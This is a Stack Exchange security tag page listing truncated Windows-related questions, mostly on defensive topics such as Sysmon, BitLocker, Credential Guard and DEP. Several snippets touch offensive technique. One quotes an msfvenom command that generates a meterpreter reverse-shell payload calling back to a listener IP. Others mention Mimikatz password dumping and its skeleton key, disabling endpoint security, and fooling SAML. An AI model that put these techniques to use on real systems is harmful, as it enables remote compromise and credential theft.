Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange
Make your voice heard. Take the 2019 Developer Survey now

Questions tagged [windows]

Related to security concerns specific to the Microsoft Windows operating system itself. For security of applications that happen to be running on Windows, please use [appsec]. For the X Window System, please use [x11].

1
vote
1answer
38 views

Can an unprivileged program modify an HTTP request response on the local machine?

Imagine you have a simple GET request going to server 123.456.111.222. Your client executable creates a winsock on the server IP (TCP) and sends the HTTP request (unencrypted) to the server. If a ...
0
votes
1answer
33 views

What considerations are there for using USB WiFI adapters and how to protect against them?

Often with older machines, the built-in WiFi adapters have failed. These in turn drive a demand to procure USB WiFi adapters since ethernet connectivity is not a choice. Since the devices will be ...
1
vote
1answer
80 views

Why does windows defender scan my computer multiple times

Occasionally, Windows Defender sends me a notification that my device was scanned. This occurrence is quite ordinary and boring, but I actually devoted two seconds to reading the entire message once, ...
0
votes
0answers
24 views

Threat Hunting Observations : Basic Scoring Jupyter Notebook for Running processes on Windows Operating Systems

I am trying to create a scoring Jupyter Notebook created for Windows Processes and I was wondering about what information would I exactly need to generate a basic Score for each process running on a ...
0
votes
1answer
27 views

How to track network file share accesses on workstations

I shared a folder created in my C drive with a colleague over the network and he was able to access it. Is there any log that will track this kind of activity? I am aware of Windows Security Event ID ...
0
votes
0answers
21 views

Windows process documentation for tuning Sysmon

I recently installed Sysmon, which logs events to OSSEC and currently monitors several endpoints. I have been trying to whitelist benign processes such as Windows services. Many of these processes run ...
0
votes
0answers
44 views

Certificate for Windows IoT Core Retail Image [closed]

I am working on a Windows 10 IoT Core application and I need to build a custom retail image of Windows 10 IoT Core. I was following the docs of building retail image for Windows 10 IoT Core here(https:...
0
votes
0answers
20 views

“Microsoft Security Bulletin Data” is no longer updating? [closed]

It seems like Windows-Exploit-Suggester downloads security bulletin data from this link. But the data here is no longer updating since March 2017. Where should I get updates of this BulletinSearch....
1
vote
1answer
57 views

How to (temporarily) disable McAfee Endpoint Security on an enterprise workstation?

I need to temporarily disable McAfee Endpoint Security on an enterprise workstation after having obtained local administrative privileges. The McAfee Endpoint Security settings are protected by a ...
2
votes
0answers
29 views

Active Directory Server and Mimikatz

Is it possible to use mimikatz to dump plaintext passwords of users in network by injecting mimilsa into lsass in Active Directory server? Basically other than dumping SAM which contains all hashes of ...
2
votes
1answer
30 views

How to control program permissions and resources in Windows

Is it possible to set specific restrictions/permissions for a program(s) by using any software/feature on Windows? Preferably set before launch and preferably set using a single software/interface, ...
0
votes
0answers
12 views

Backup information with Disk2vhd?

To make a backup of a partition along with its metadata (dates of access, modification, etc) can Disk2vhd be used or is it necessary to make a copy sector by sector? I need to copy the information ...
0
votes
1answer
31 views

Fool SAML authentication

My company's has given a corporate membership to Udemy, which is accessible from company's laptop only. I tried to look into it and it uses SAML. If I open my company's Udemy website on any other ...
0
votes
1answer
45 views

Disabling RC4 HMAC encryption in Windows Active Directory prevents current Kerberos attacks?

Disabling RC4 HMAC encryption in Windows Active Directory prevents current Kerberos attacks? I understand that RC4 HMAC encryption is dangerous in Windows Active Directory, since it relies on the ...
0
votes
1answer
37 views

How to detect malicious actor altering DNS responses?

I am trying to detect what is causing my DNS to return fake IP addresses for domains like apple, orange, etc. which obviously don't exist. If I do following on my Windows machine: ipconfig /flushdns ...
0
votes
0answers
44 views

UEFI Windows 10 Dual-Boot Isolation Questions

On my personal PC, I like to dual-boot Windows 10. I have 2 SSDs and 1 HDD. Windows 10 is installed on each SSD. My PC is setup like this: -1 SSD is encrypted with BitLocker and the HDD is also ...
4
votes
0answers
61 views

Kerberos Attacks Questions

It's amazing how many "Attacks on Kerberos" articles exist out there and almost none really explains the small details. My guess is that usually they assume it's basic knowledge and sometimes, they ...
1
vote
0answers
26 views

Does Windows log program launches?

I wrote a Python script to automate mounting my Veracrypt-encrypted file. The password is provided via standard input (without echoing). os.system('veracrypt /hash whirlpool /l K /p "' + password + ...
171
votes
11answers
29k views

Search for military installed backdoors on laptop

My laptop was confiscated by the military institute of my country and they made me to give them all my passwords (I cannot tell you the name of my country). They did not give it back to me for one ...
0
votes
1answer
52 views

Encrypting only a small part of my hard-drive

In Windows 10, I can encrypt the entire hard-drive with bitlocker. However, it makes some programs run too slowly. In fact, most of my hard-drive is not secret: these are just data files and documents ...
0
votes
1answer
51 views

I installed a windows app that stores cookies in a plain text un-encrypted database. Is this a problem?

I have recently installed an application that was developed with Electron that requires I authorize via Google to use the application. I did this at the same time as monitoring the application with ...
0
votes
1answer
39 views

Are all fields of the PE certificate directory hashed during authenticode signing?

In a Windows portable executable (PE) file the certificate directory points to an offset to a WIN_CERTIFICATE structure. My understanding is that while the field is named bCertificate, it actually ...
0
votes
0answers
31 views

How do you set private keys in putty enmasse in Windows?

In line with this question...if you have a large number of hosts, and a large number of users who service these hosts, how do you set the private keys for these hosts enmasse across the users who ...
0
votes
1answer
40 views

Enter as guest into another server folder

I have a PC using Windows 7 in 192.168.0.10 where there is a folder, lets call Data, that i want to make avaliable for any computer connected to this network ( 192.168.0.X ) I have shared that folder ...
0
votes
0answers
19 views

Is it safe to ship my certificate with my app? [duplicate]

I have a web application that I ship to users via a setup program. It runs in Windows over IIS Express (ASP.NET) and is available under the localhost domain. The application currently runs over plain ...
0
votes
0answers
76 views

Msfvenom : Create Windows payload that asks for admin privileges automatically

So I can create a Windows payload with msfvenom with a simple command, for example : msfvenom --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.58.109 LPORT=4485 EXITFUNC=...
1
vote
1answer
40 views

Is it possible to execute an executable with authenticated SMB?

Assume the following: An attacker has access to a remote Windows share on a remote host. Attacker manages to bruteforce a local Windows account on the host and can login to it via SMB. Attacker can ...
2
votes
1answer
56 views

What are the security implications of an out-of-support Java runtime?

What are the potential security implications of leaving the January 2019 version of Oracle's Java 8 runtime installed indefinitely? For context, we have the Oracle Java 8 runtime widely deployed, but ...
2
votes
1answer
98 views

How does Malwarebytes intercept web traffic?

I use Malwarebytes and the web filter functionality puzzles me. As far as my research has found, antivirus engines typically use a proxy to intercept web requests which typically there would be ...
0
votes
2answers
79 views

Why windows 7 ulitmate can't run exe file? Facing NTVDM CPU error?

I have created a malicious .exe file with the use of msfvenom in my local environment. And I created a listener by using multi/handler in Metasploit I send it to Windows 7, but when I run this test....
2
votes
2answers
156 views

What can someone do with (non-admin) command prompt on a network?

Say that an organization has a closed network - only its own computers can access it. Each of these computers has Windows 10 Enterprise. For obvious reasons, users aren't given administrator ...
1
vote
2answers
138 views

Getting access and logging into employee's laptop - Can IT get access without the employee's own credentials?

If an employee's laptop is taken back from him/her for purposes of investigation, can the IT department/team that is in charge of issuing laptops etc. log into the employee's network account on this ...
1
vote
0answers
69 views

What is the effect of the arguments in the following: conhost.exe 0xffffffff -ForceV1

I'm fairly well acquainted with the role of conhost in Windows. I am aware of conhostV1.dll and conhostV2.dll so I assume force V1 would force the legacy mode of conhost (as in Pre Win 7 mode when it ...
1
vote
2answers
55 views

How to protect your anti virus program or logging agent?

its a very simple question but might not be too trivial. Imagine an attacker has access to your device and gained SYSTEM privilege. Your company has installed a logging agent on your device to capture ...
2
votes
0answers
2k views

Ransomware with .adobe extension

It is possible to decrypt file with .adobe extension ? File after encryption look like this : filename.id-5735353.[email@example.com].adobe . I did a little research and found information about "....
3
votes
0answers
47 views

Exploit “Blind” buffer overflow in a lab

In a CTF/exploitation lab, I am aware of two separate machines. Developer machine: Windows 7 x64, as blank, as it can get (no KB patch) Service machine: UNKNOWN On Developer: I have a source code ...
0
votes
1answer
42 views

Windows Credential Guard protects credentials but not the remote access with the same credentials?

I wonder what is the real purpose of having credentials protected by Windows Credential Guard (WCG) when it is possible for malicious admin to obtain cached credentials (i.e. the ones not protected by ...
1
vote
1answer
68 views

Understanding port scanning with firewall enabled

My objective is to do a port scanner in windows and find the ports which are open. Suppose, I run an application which opens up a port 8000. Now I create a new inbound rule to block all incoming ...
4
votes
1answer
119 views

Why is Windows Credential Guard secure, when Windows is able to “access” credentials using RPC?

I've read some blogs that describe Windows Credential Guard: how it works and which security benefits it provides. However, some of them mention that Windows can "access" credentials using RPC calls ...
0
votes
0answers
47 views

How does the so-called skeleton key (master password) in Mimikatz work?

I've used Mimikatz to patch the domain controller with a skeleton key misc::skeleton, which makes it possible for any domain user to authenticate with the password "mimikatz", while still being able ...
0
votes
0answers
17 views

Does BloodHound include local users as part of the results?

I've read the documentation for BloodHound, but I'm still unsure, whether BloodHound includes local users (not domain users) as part of the results (or whether it is possible to make BloodHound ...
2
votes
0answers
45 views

How does TPM and BitLocker work together?

When a computer has a TPM module, BitLocker doesn't seem to require a password, which makes me really uncomfortable. Where's the key coming from? What's preventing someone from grabbing the key by ...
0
votes
2answers
157 views

What consequences could there be to the continued use of an operating system without updating?

As it is well known, the extended support of Windows 7 (Service Pack 1) ends on January 14, 2020. Due to the short time that remains, I raise this question. What consequences could an outdated ...
1
vote
1answer
109 views

Why doesn't DLL injection works on Windows 10 for native Windows binaries (e.g. calc.exe)?

Why doesn't DLL injection works on Windows 10 for native Windows binaries (e.g. calc.exe)? I've been playing around with DLL injection by reading some old articles to that use, e.g., calc.exe to ...
1
vote
1answer
36 views

Masking configuration of physical workstation

Environment: Physical workstation, HP, Dell, etc Windows 7,8,10, no matter Windows executables Our goal: For additional privacy, is it possible to wipe/change all configuration that can be read by ...
0
votes
1answer
53 views

Data Execution Prevention X vs NX

My lecturer posted this in his slides and I have no idea what he is trying to say. I quote from his slide: Windows DEP = Data Execution Prevention Old “X” idea: must allow explicitly, current ...
0
votes
1answer
183 views

Why is SYSTEM failing to grant SeTcbPrivilege?

I'm attempting to grant a Windows interactive console process the SeTcbPrivilege privilege from a non-interactive SYSTEM process using OpenProcessToken(...) with TOKEN_ADJUST_PRIVILEGES. Despite ...
1
vote
1answer
175 views

Understanding Microsoft list of disallowed certificates

Microsoft publishes their untrusted certificates as disallowedcerts.stl Warning: direct download. It is ASN.1 encoded. After decoding it there is a list of sequences like so: SEQUENCE { ...
2
votes
3answers
294 views

Is moving a file with “cut and paste” secure?

If you cut and paste a file (in Windows specifically) within the same drive, are there effectively two versions of the file on the drive; one in the new location and the original file on the drive ...
1
vote
2answers
211 views

How to copy files without copying Alternate Data Streams

I want to backup my infected Windows system's files before formatting it all and reinstalling the system. I would do it from a Linux Live USB. I've heard that one should be careful in copying only the ...